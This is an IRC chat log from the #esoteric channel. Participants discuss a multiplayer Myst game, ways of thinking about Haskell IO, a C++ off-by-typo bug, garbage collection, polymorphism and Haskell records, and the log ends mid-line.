< 1269392067 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :is that the MMO version? < 1269392070 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Yes < 1269392087 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :that struck me as kind of weird... the whole point of the game was the lack of anyone else imo < 1269392093 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :what's it liKE/ < 1269392096 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I mean does it work? < 1269392202 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Not really as multiplayer as I was hoping for. At least the initial ages are playable alone, but you can invite others with you < 1269392219 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I _think_, at least for the Prime Ages, that others can't actually interact with the environment < 1269392228 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :There are social areas, the hoods < 1269392232 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :And the City is rather social < 1269392242 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :There are some Ages that require several people < 1269392245 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :interesting < 1269392248 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I think one Age requires 8 < 1269392276 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I like teh sound of that < 1269392351 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :so who loves bowling here < 1269392368 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i should stop talking for today < 1269392459 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1269392598 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :night! -> < 1269392985 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I've bowled in Cybertown < 1269392988 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Oh, night < 1269393270 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, I've thought up a really interesting way to think of Haskelly IO < 1269393290 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Oh? < 1269393299 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :basically, you return an infinitely big lookup table listing what outputs should go with all possible inputs, allowing for interspersings of them < 1269393313 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and because it's a lazy lang, only the parts of the lookup table that are actually used are calculated < 1269393326 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :I've always thought of it as returning a series of IO instructions and associated functions to evaluate < 1269393333 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :that's what your IO () "value" actually is < 1269393343 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and using monads just helps you generate it in a sane way < 1269393352 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :ais523: That is an entirely valid means of looking at it. < 1269393366 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yep, although probably not the most practically useful one < 1269393400 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :essentially, I think of it returning an imperative program < 1269393428 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Interpretations of it beyond something like "being a C function that evaluates to a value" are generally not all that useful. :P < 1269393468 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :what ais523 is (one of) the basis' for a formal treatment of IO < 1269393492 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :fax: wait, I'm a basis for a formal treatment of IO? < 1269393561 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, you could even make a formal treatment of unsafePerformIO that way < 1269393568 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :unless you wanted to avoid going mad < 1269393572 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1269393576 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :http://www.haskell.org/haskellwiki/IO_Semantics < 1269393581 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :roughly < 1269393584 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Oh dear God. A formal treatment of unsafePerformIO. < 1269393586 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :o.O < 1269393677 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :ugh, oerjan joined just before you said that < 1269393685 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and is now presumably hoping he misread it < 1269393708 0 :augur!~augur@c-98-218-226-149.hsd1.dc.comcast.net JOIN :#esoteric < 1269393715 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :how do i misread an URL? < 1269393740 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: "A formal treatment of unsafePerformIO." < 1269393756 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :*WHOOSH* < 1269393784 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(well, half a whoosh anyway) < 1269393881 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well there's no unsafePerformIO in that link that I can see. < 1269393915 0 :cheater4!~cheater@ip-80-226-18-72.vodafone-net.de JOIN :#esoteric < 1269393999 0 :sebbu2!~sebbu@ADijon-152-1-41-200.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1269394004 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: You missed context. < 1269394035 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: "you could even make a formal treatment of unsafePerformIO that way" < 1269394042 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well how can i misread properly without ignoring context? i'll look at it again when i get to that point in the logs. < 1269394090 0 :cheater3!unknown@unknown.invalid QUIT :Read error: No route to host < 1269394119 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i recall they've made a formal treatment of exceptions, which is nondeterministic. < 1269394132 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(the kind you can only catch in IO) < 1269394279 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric : fax: you obviously know nothing about Haskell, so stop making these kinds of assertions < 1269394289 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :you mean he knows just enough to be obnoxious < 1269394308 0 :fungot!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1269394308 0 :Gregor!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1269394309 0 :sebbu!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1269394410 0 :Gregor!~gregor@65.183.185.22 JOIN :#esoteric < 1269394491 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :fax: Congrats at being a troll, man. < 1269394500 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :fax: I'm going to replace you with a small monad. :P < 1269394528 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :? < 1269394529 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :a small monad that lives under a bridge and pesters goats < 1269394550 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :(the last sentence is stupid humor that only sounds intelligent because of the word monad) < 1269394566 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION doesn't equate 'big words' with intelligence
< 1269394581 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I hate anti-intellectualism :( < 1269394777 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 245 seconds < 1269395094 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION is seriously going to cry
< 1269395118 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :why/ < 1269395119 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :? < 1269395139 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :is it because I was nasty to you?? that was just a reflex < 1269395191 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :no, someone sent him a truck full of onions < 1269395218 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :that must be very sad < 1269395224 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :What the flying fucking fuck is going on here? http://pastie.org/883967 < 1269395298 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well << is clearly brainfuck, but i don't understand the point of all those repeated std::cerr comments. < 1269395299 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric ::/ < 1269395303 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo I tried to compile it < 1269395313 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :It's more of a small segment of code < 1269395318 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :yeah I realize that NOW < 1269395322 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :but :( < 1269395347 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :int location = 0; < 1269395347 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :int length = 4; < 1269395347 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :int items[] = {5,7,8,9,6,5,4,3}; < 1269395348 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :does the trick < 1269395368 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric : std::cerr << "items[" << i << "] = " << items[i + 1] << std::endl; < 1269395370 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :this line is interesting < 1269395382 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: lol < 1269395393 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Quite interesting. < 1269395393 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :It's just reflecting exactly what's supposed to happen on the previous line < 1269395498 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :fax, if you find the bug, do let me know < 1269395518 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: not sure what the bug IS < 1269395523 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION admits that looks strange
< 1269395525 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: "i + i" < 1269395530 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :"i + i" != "i + 1" < 1269395537 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1269395547 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :....Thank uoui < 1269395547 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oh it's this: < 1269395548 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :items[3] = 5 < 1269395548 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :*you < 1269395548 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :items[3] == 7 < 1269395559 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :you'd expect it to say items[3] == 5 ? < 1269395567 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: Now, get a better terminal font for Chrissake. < 1269395580 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo?????? < 1269395581 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Using Visual Studio < 1269395581 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :int items[] = {5,7,8,9,6,5,4,3}; < 1269395585 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I'm using an immutable array < 1269395589 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :so I shouldn't be allowed to modify it < 1269395598 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :why doesn't C++ tell me I'm doing something bad < 1269395598 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :fax: That's quite mutable. < 1269395602 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :really!! < 1269395607 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I just assumed it would be like C :/ < 1269395614 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :That's also mutable in C. < 1269395622 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :o_o < 1269395635 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I have been using malloc all this time.. < 1269395669 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :You are not declaring an int * with the address being the immutable constant {5,7,8,9,6,5,4,3}. < 1269395689 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :You are declaring a mutable array on the stack, initialised to {5,7,8,9,6,5,4,3}. < 1269395700 0 :Tritonio_GR!unknown@unknown.invalid QUIT :Quit: Leaving. < 1269395709 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :thanks < 1269395725 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :"const int items[] = ..." is immutable, though. < 1269395739 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo this *is* weird! < 1269395757 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :fax, pikhq solved it < 1269395763 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :It's no longer a mystery < 1269395768 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it is to me :D < 1269395773 0 :augur!~augur@c-98-218-226-149.hsd1.dc.comcast.net JOIN :#esoteric < 1269395777 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :fax: i+i != i+1 < 1269395796 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :aaaaah! < 1269395810 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I wanted to figure it out :( < 1269395846 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :BTW, you can tell the immutability of a variable with its type. const indicates immutability. < 1269395862 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Mixing const with & hurts my head < 1269395872 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I think I'll just huggle C# < 1269395879 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It is... A little confusing with pointers, yes. < 1269395886 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :That's the syntax's fault. < 1269395902 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :A lot of C++ problems are the syntax's fault < 1269395916 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Are there any that aren't? < 1269395925 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :A lot of C++ problems are starting with C's problems and adding more. < 1269395992 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :A lot of C++ problems are not really problems < 1269396011 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :adu: Garbage collection. The lack of this is a problem in C++. < 1269396060 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :disagree < 1269396122 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :You also think that leeches are a cure-all, and that feudalism is a great solution to the problem of how to govern people efficiently. < 1269396145 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :both are incorrect < 1269396149 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Why not optional garbage collection? < 1269396169 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: Because C++'s semantics demand garbage collection. < 1269396184 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Standardization in that area is going slowly < 1269396201 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :There's no way to avoid C++, is there? < 1269396209 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Is it safe to say most programs are written in C++? < 1269396211 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Sure there is. Use C. < 1269396213 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :lack of garbage collection is important for some aspects of C++, yes, I like that < 1269396215 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :No. < 1269396219 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :By no means are most programs written in C++. < 1269396232 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :What's the most commonly used language? < 1269396244 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Frankly, I wouldn't be surprised if it's still C. < 1269396246 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :The committee is properly allowing GC implementations in C++0x < 1269396248 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :still C < 1269396257 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Probably still C. If not, something like Java. < 1269396265 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :C is top, Java and C++ are next, I forget what order < 1269396279 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Then comes BrainFuck < 1269396284 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Sounds about right. < 1269396290 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: Hah. < 1269396290 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Then Python. < 1269396291 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: what about shared_ptr? < 1269396292 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Then Forth. < 1269396296 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :shared_ptr? < 1269396331 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :shared_ptr<> is the closest thing to GC in C++ < 1269396358 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :adu: First: reference counting is obnoxious. Second: leaks memory quite well if you have a cyclic reference. Ever. Third: C++ templates are fail. < 1269396382 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Fourth: Contrary to popular misconception, reference counting is almost always slower than a half-decent GC. < 1269396396 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: the idea of templates, imho, is not fail < 1269396397 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Python uses reference counting, iirc :/ < 1269396400 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Ah, yes. Reference counting is quite slow. < 1269396410 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :What does Ruby use? < 1269396412 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: Plus GC, because reference counting is useless :) < 1269396417 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: Presumably a proper GC. < 1269396420 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :adu: Note that I said C++ templates. The idea is just polymorphism. < 1269396442 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :And polymorphism is embraced in pretty much everything. < 1269396445 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I've said it before and I'll say it again: Any language with a type system is far too low-level for me. < 1269396457 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :... that's a joke < 1269396463 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: Dynamic types are still types you know. < 1269396484 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: Depending on who you talk to, prototypes are not types :P < 1269396485 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Hm, C-- doesn't have much of a type system < 1269396499 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: It's still types. < 1269396506 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Although I guess, what is it, things like word8 are still types? < 1269396512 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Or am I misremembering C--? < 1269396517 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: Yeah, those are still types. Technically. < 1269396590 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION <3 polymorphism
< 1269396604 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :actualy i hate polymorphism < 1269396610 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :i just like parameters < 1269396625 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :adu: You just haven't seen much good polymorphism. :P < 1269396636 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :and I don't think "parametric polymorphism" is actually polymorphism < 1269396638 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Is C#'s polymorphism considered good or bad? < 1269396657 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :interface-based polymorphism :/ < 1269396666 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :If parametric polymorphism is not actually polymorphism, then polymorphism cannot exist in a statically typed language. < 1269396673 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: It's... Eh. < 1269396681 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: Haskell does it pretty much right. < 1269396689 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION <3 Haskell
< 1269396707 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Haven't had much of an opportunity to play with Haskell. < 1269396739 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It's the most high-level language you have likely seen yet. < 1269396752 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :(there exist higher-level, but they're not exactly... Common.) < 1269396775 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :High level == passing around functions as though they were candy? < 1269396790 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Among other things. < 1269396793 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION eats a map
< 1269396795 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Also, yes. They are candy. < 1269396803 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :AMAZING CANDY. < 1269396835 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I think segregation of IO and non-IO logic is rather interesting. < 1269396870 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :I think it's just natural. < 1269396879 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Is there anything Haskell is bad at? Would it be sinful for me to make a game that tracked the states of players in Haskell? < 1269396905 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Haskell is terrible at real-time stuff. < 1269396929 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Though it is wonderful for programmatic generation of real-time code. < 1269396982 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :What about the lack of OO? < 1269397020 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: the problem is not that Haskell has no OO, the problem is that it has 3 kinds of OO < 1269397032 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :OO is overrated. < 1269397044 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Though technically you can do it just fine in Haskell. < 1269397047 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: record-based OO, typeclass-based OO, and module-based OO < 1269397076 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :so the problem is that people can't figure out which one is most OO-like < 1269397078 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Typeclasses are not OO at all. Records are not OO at all. Neither are modules. < 1269397106 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: they are all OO minus some features < 1269397123 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :01:14 < pikhq> Haskell is terrible at real-time stuff. < 1269397126 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Typeclasses are more like Go's interfaces-thing. Records are... structs. Modules are *a freaking collection of definitions*. < 1269397138 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :that might be true but people are basing hard realtime languages (loosely) on haskell < 1269397154 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :btw, Haskell doesn't call them "records" it calls them "algebraic datatypes" < 1269397156 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :fax: They are using Haskell for programmatic generation of hard realtime code. < 1269397162 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :??? < 1269397177 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :adu: haskell does have records < 1269397188 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :just really shit ones... < 1269397201 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :fax: You can write a Haskell program that outputs hard realtime C using some library that I don't recall. < 1269397206 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :adu: Learn Haskell por favor. < 1269397214 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wonders how the heck they got such an advanced type system but didn't bother with modules or rows....
< 1269397226 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: I've been programming in Haskell for 10 years < 1269397234 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I'm not sure how Haskell records apply when using types that are functions with >0 arguments < 1269397240 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :adu: Fine, fine. Learn about OO programming. :P < 1269397254 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :i've been programming in Python for 15 years < 1269397261 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It's about as object-oriented as C. (in that you can hack it together with structs/ADTs, if you feel like it.) < 1269397296 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :So, no one's going to spontaneuously explain it to me? < 1269397328 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: I'm not sure what you're saying. < 1269397343 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: spontaneuously explain what? < 1269397363 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :data SomeType = SomeType { someconstructor :: a -> [a]} < 1269397365 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :For instance < 1269397377 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :erm, maybe constructor is the wrong word < 1269397387 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :oh, yes, well in Haskell functions are values/objects just like anything else < 1269397402 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :How and why would I use something like that? < 1269397418 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :for example, database drivers < 1269397454 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :you might have a Database type that has query, open, and close methods < 1269397494 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :you can encode those methods in separate modules, like System.DB.MySQL or System.DB.Postgres, (which is silly) or you can encode them as members of the Database type < 1269397496 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :like you did < 1269397678 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :data Database = DB { connectionData :: DBData, query :: Database -> String -> IO String} < 1269397684 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :or something like that < 1269397754 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :And then instances [sorry for the use of that term] of DB represent different drivers? < 1269397762 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :One for MySQL, etc? < 1269397791 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :yes, "query" could have different implementations for each instance < 1269397837 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :What the heck is going on at the esoforum... is that spam or just someone misguided about what the forum is about? < 1269397841 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :query MySQL theDB somestring < 1269397844 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :the other way, System.DB.MySQL.query and System.DB.Postgres.query are both fixed implementations, and you could have to pick one and not change it < 1269397847 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Seems pretty cumbersome :/ < 1269397912 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh it _is_ spam, at least the last one < 1269397932 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :google provides again < 1269397952 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Hm? < 1269397961 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Which one's spam? < 1269397966 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: no, if (theDB :: Database), then you would call it as (query theDB string) < 1269397966 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :http://esoteric.voxelperfect.net/forum/kareha.pl/1269355073/l50 < 1269397975 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i haven't checked all of them < 1269397995 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :or ((query theDB theDB string) actually, now that i think about it < 1269397999 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :but there were a whole bunch of messages today that are clearly programming related but not on topic < 1269398069 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION needs to figure out how to teach himself to segregate IO in code he writes
< 1269398105 0 :Oranjer!unknown@unknown.invalid PART #esoteric :? < 1269398117 0 :adu!unknown@unknown.invalid PRIVMSG #esoteric :segregate? < 1269398154 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :IO code in one area, non-IO code called by the IO code < 1269398165 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :[At least, that's my understanding] < 1269398178 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: after checking, _everything_ from today is spam < 1269398191 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :2 Name: Ørjan : 2009-12-24 07:18 ID:l+2d4UoE [Del] For any fractran program, let p be any prime not used in the program. If your starting value is divisible by p, then the program has no way of removing it. So it cannot be done, alas. < 1269398199 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :how does oerjan just know all this stuff/!?!?!? < 1269398210 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it's so frustrating, I want to know these things < 1269398212 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric ::D < 1269398238 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hm actually that's quite obvious but I probably wouldn't have thought of it < 1269398243 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: i have a phd (well, technically dsc) in mathematics < 1269398244 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :s/obvious/easy to verify/ < 1269398257 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric 